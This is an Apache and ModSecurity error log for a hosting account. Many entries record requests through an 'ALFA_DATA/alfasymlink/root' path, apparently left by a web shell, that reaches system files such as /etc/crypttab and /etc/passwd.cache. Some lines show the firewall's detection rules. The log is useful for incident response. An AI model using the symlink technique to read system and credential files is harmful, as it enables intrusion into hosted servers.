[Mon Oct 26 15:23:42.426101 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.213.240.226:34544] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:23:46.149351 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 23.21.175.228:7052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:23:58.163337 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.223.115.10:15595] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:24:03.626160 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 185.191.171.14:38422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/align
[Mon Oct 26 15:24:12.745082 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 185.191.171.5:23372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/align
[Mon Oct 26 15:24:22.158785 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.82.40.168:7589] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:24:32.204169 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 85.208.96.194:25974] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:24:34.315893 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 54.84.250.51:47609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:00/physical_node/remove
[Mon Oct 26 15:24:46.192536 2026] [ssl:error] [pid 3065807:tid 3065807] (5)Input/output error: [client 44.206.93.215:38511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:25:02.181698 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 23.23.137.202:42723] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:25:22.162502 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 18.214.251.19:63408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:25:34.144040 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.197.114.76:27156] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:25:36.148493 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 185.191.171.8:20042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/zswap_entry/objects
[Mon Oct 26 15:25:38.238229 2026] [ssl:error] [pid 3084053:tid 3084053] (5)Input/output error: [client 52.45.92.83:23277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:25:50.150107 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.80.130.239:32845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:25:54.801262 2026] [authz_core:error] [pid 3084080:tid 3084080] [client 35.204.87.176:58416] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Mon Oct 26 15:26:14.156222 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.84.147.79:50285] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:26:18.151357 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 50.19.79.213:60705] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/crash_notes
[Mon Oct 26 15:26:22.333270 2026] [security2:error] [pid 3084056:tid 3084056] [client 107.172.76.131:56224] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-pUHKvFNFM41eF9IjkyAAAADc"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 15:26:22.333388 2026] [security2:error] [pid 3084056:tid 3084056] [client 107.172.76.131:56224] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-pUHKvFNFM41eF9IjkyAAAADc"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 15:26:34.185214 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 23.23.213.182:38020] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:26:38.366096 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 18.206.47.187:3233] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:26:42.166210 2026] [core:error] [pid 3084080:tid 3084080] (13)Permission denied: [client 3.221.222.168:52466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/shpchp/bind
[Mon Oct 26 15:26:54.313200 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 50.19.79.213:60492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:27:02.193845 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 100.25.120.246:55885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:27:14.316426 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 98.82.39.241:5295] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:27:30.321985 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 18.204.152.114:55778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:27:38.174039 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.157.84.74:53821] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:27:46.141725 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 54.90.8.255:7922] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:27:58.312075 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 98.84.200.43:63527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:28:06.162653 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.82.107.102:54821] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:28:18.594701 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 34.199.252.22:28044] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:28:29.307786 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 185.191.171.16:46726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/destroy_by_rcu
[Mon Oct 26 15:28:30.177160 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 23.23.103.31:6082] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:28:34.302486 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 98.82.66.172:49272] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:28:38.153107 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 107.20.25.33:8222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:28:58.425752 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 23.21.179.120:5430] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:29:02.250756 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.54.95.127:13394] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:29:18.245118 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.213.102.186:19374] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:29:46.484137 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 185.191.171.16:20006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/slab_size
[Mon Oct 26 15:29:49.343482 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 185.191.171.16:11584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/slabs
[Mon Oct 26 15:29:54.141095 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 184.73.195.18:33026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:29:58.264908 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.0.63.151:49398] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:30:02.183176 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 18.214.251.19:56085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:30:02.183407 2026] [security2:error] [pid 3084025:tid 3084025] [client 18.214.251.19:56085] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/PNP0A06:01/power/runtime_active_time"] [unique_id "at-qOjbNxAL0swfcTQjCBQAAACU"]
[Mon Oct 26 15:30:02.183439 2026] [security2:error] [pid 3084025:tid 3084025] [client 18.214.251.19:56085] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/PNP0A06:01/power/runtime_active_time"] [unique_id "at-qOjbNxAL0swfcTQjCBQAAACU"]
[Mon Oct 26 15:30:13.620315 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 185.191.171.5:13744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-96/usersize
[Mon Oct 26 15:30:16.562680 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 185.191.171.5:13752] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:30:17.735810 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 185.191.171.5:13756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_data/shrink
[Mon Oct 26 15:30:30.285264 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 52.204.71.8:14499] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:30:34.267053 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.216.86.144:4527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:30:34.267279 2026] [security2:error] [pid 3085795:tid 3085795] [client 3.216.86.144:4527] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/event2/subsystem/event3/device/device/protocol"] [unique_id "at-qWl3BHaKovmquNkFqUQAAAAA"]
[Mon Oct 26 15:30:34.267313 2026] [security2:error] [pid 3085795:tid 3085795] [client 3.216.86.144:4527] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/event2/subsystem/event3/device/device/protocol"] [unique_id "at-qWl3BHaKovmquNkFqUQAAAAA"]
[Mon Oct 26 15:30:42.147233 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 34.194.233.48:58813] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:30:52.550582 2026] [core:crit] [pid 3065807:tid 3065807] (13)Permission denied: [client 216.244.66.250:58464] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/28/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/28/fd/' is executable
[Mon Oct 26 15:30:52.550655 2026] [core:crit] [pid 3065807:tid 3065807] (13)Permission denied: [client 216.244.66.250:58464] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/28/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/28/map_files/' is executable
[Mon Oct 26 15:30:52.550671 2026] [core:crit] [pid 3065807:tid 3065807] (13)Permission denied: [client 216.244.66.250:58464] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/28/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/28/fdinfo/' is executable
[Mon Oct 26 15:30:54.200120 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 18.205.91.101:18916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:30:58.146983 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.210.29.96:52680] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:31:02.218893 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 34.225.87.80:38287] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory0/node0/cpu0/crash_notes
[Mon Oct 26 15:31:06.149959 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 18.204.89.56:19279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:31:18.227619 2026] [ssl:error] [pid 3065807:tid 3065807] (22)Invalid argument: [client 52.73.142.41:19642] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:31:38.161573 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.205.74.196:2175] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:31:46.178788 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 100.29.160.53:61660] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:31:50.171637 2026] [ssl:error] [pid 3084025:tid 3084025] (5)Input/output error: [client 44.205.192.249:38587] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:31:54.280209 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.90.73.206:6768] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:32:11.572864 2026] [security2:error] [pid 3064975:tid 3064975] [client 49.232.88.176:41076] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at-qu8dX-waAlDqXJHtU8gAAABY"], referer: http://sherwinpinturas.com
[Mon Oct 26 15:32:11.769715 2026] [authz_core:error] [pid 3064975:tid 3064975] [client 49.232.88.176:41076] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Mon Oct 26 15:32:12.933812 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 185.191.171.19:61414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/damon_reclaim/parameters/min_nr_regions
[Mon Oct 26 15:32:14.249080 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 184.73.167.217:41645] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:32:22.225224 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.212.145.46:60624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:32:26.233513 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 35.170.205.140:13065] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:32:30.260321 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 107.20.181.148:25113] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:32:34.303145 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 35.169.240.53:32067] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:32:43.526497 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 216.244.66.250:40852] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/crypttab
[Mon Oct 26 15:32:46.550463 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.83.180.239:35488] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:33:06.448016 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.163.136.244:64074] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:33:10.670076 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.205.113.104:31773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:33:14.121244 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 216.244.66.250:60888] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/passwd.cache
[Mon Oct 26 15:33:18.469789 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.231.193.38:24432] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:33:22.363368 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 3.218.103.254:18669] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:33:26.462612 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.163.169.168:48830] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:33:30.402298 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 54.156.248.117:63253] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:33:42.496974 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 100.27.153.9:53120] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:33:46.890280 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 85.208.96.197:15996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/hwcache_align
[Mon Oct 26 15:33:50.436620 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.152.163.42:22259] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:34:02.599474 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.203.237.170:50025] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:34:04.851908 2026] [security2:error] [pid 3065807:tid 3065807] [client 185.191.171.6:53726] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/idmapd.conf"] [unique_id "at-rLBjIL9Z3tuLhXUCulAAAAAc"]
[Mon Oct 26 15:34:04.852310 2026] [security2:error] [pid 3065807:tid 3065807] [client 185.191.171.6:53726] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/idmapd.conf"] [unique_id "at-rLBjIL9Z3tuLhXUCulAAAAAc"]
[Mon Oct 26 15:34:04.852669 2026] [security2:error] [pid 3065807:tid 3065807] [client 185.191.171.6:53726] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/idmapd.conf"] [unique_id "at-rLBjIL9Z3tuLhXUCulAAAAAc"]
[Mon Oct 26 15:34:06.724891 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.215.61.66:34276] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:34:10.448434 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 34.196.237.236:62488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:09/eject
[Mon Oct 26 15:34:18.455276 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 100.24.149.244:36301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:34:18.455478 2026] [security2:error] [pid 3084023:tid 3084023] [client 100.24.149.244:36301] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory6/node0/cpulist"] [unique_id "at-rOnMs9DEewnALzGZzpQAAACM"]
[Mon Oct 26 15:34:18.455510 2026] [security2:error] [pid 3084023:tid 3084023] [client 100.24.149.244:36301] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory6/node0/cpulist"] [unique_id "at-rOnMs9DEewnALzGZzpQAAACM"]
[Mon Oct 26 15:34:22.595256 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 184.73.47.24:44952] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:34:30.560151 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.218.103.254:53574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:34:46.755491 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.203.152.231:53760] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:34:50.657673 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.84.93.8:58574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:34:50.657907 2026] [security2:error] [pid 3085795:tid 3085795] [client 54.84.93.8:58574] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/11/address"] [unique_id "at-rWl3BHaKovmquNkFqXQAAAAA"]
[Mon Oct 26 15:34:50.657942 2026] [security2:error] [pid 3085795:tid 3085795] [client 54.84.93.8:58574] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/11/address"] [unique_id "at-rWl3BHaKovmquNkFqXQAAAAA"]
[Mon Oct 26 15:34:55.429973 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.230.124.21:10461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:34:58.671447 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.84.102.81:58035] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:35:04.666004 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.205.222.214:46246] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:35:06.780031 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 34.192.67.98:39045] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:35:10.792378 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.235.158.162:2426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:35:14.865245 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.83.23.103:9528] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:35:32.395142 2026] [security2:error] [pid 3089355:tid 3089355] [client 197.1.246.244:34766] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/debug_guanajuato_1.html"] [unique_id "at-rhGl9busrkyxI7OQV1gAAAAI"], referer: https://parkeranders.com/
[Mon Oct 26 15:35:38.780531 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.215.231.15:57396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:35:47.038352 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.204.12.115:45953] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:35:50.824676 2026] [ssl:error] [pid 3085795:tid 3085795] (22)Invalid argument: [client 34.234.197.175:64956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:35:54.814020 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 34.205.170.13:45303] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:35:58.888342 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 34.225.138.57:25927] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:36:10.836773 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.4.76.156:33401] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:36:14.877791 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.71.203.206:8874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:36:19.647578 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 54.198.33.233:6336] AH02013: coalesce failed to read from data bucket
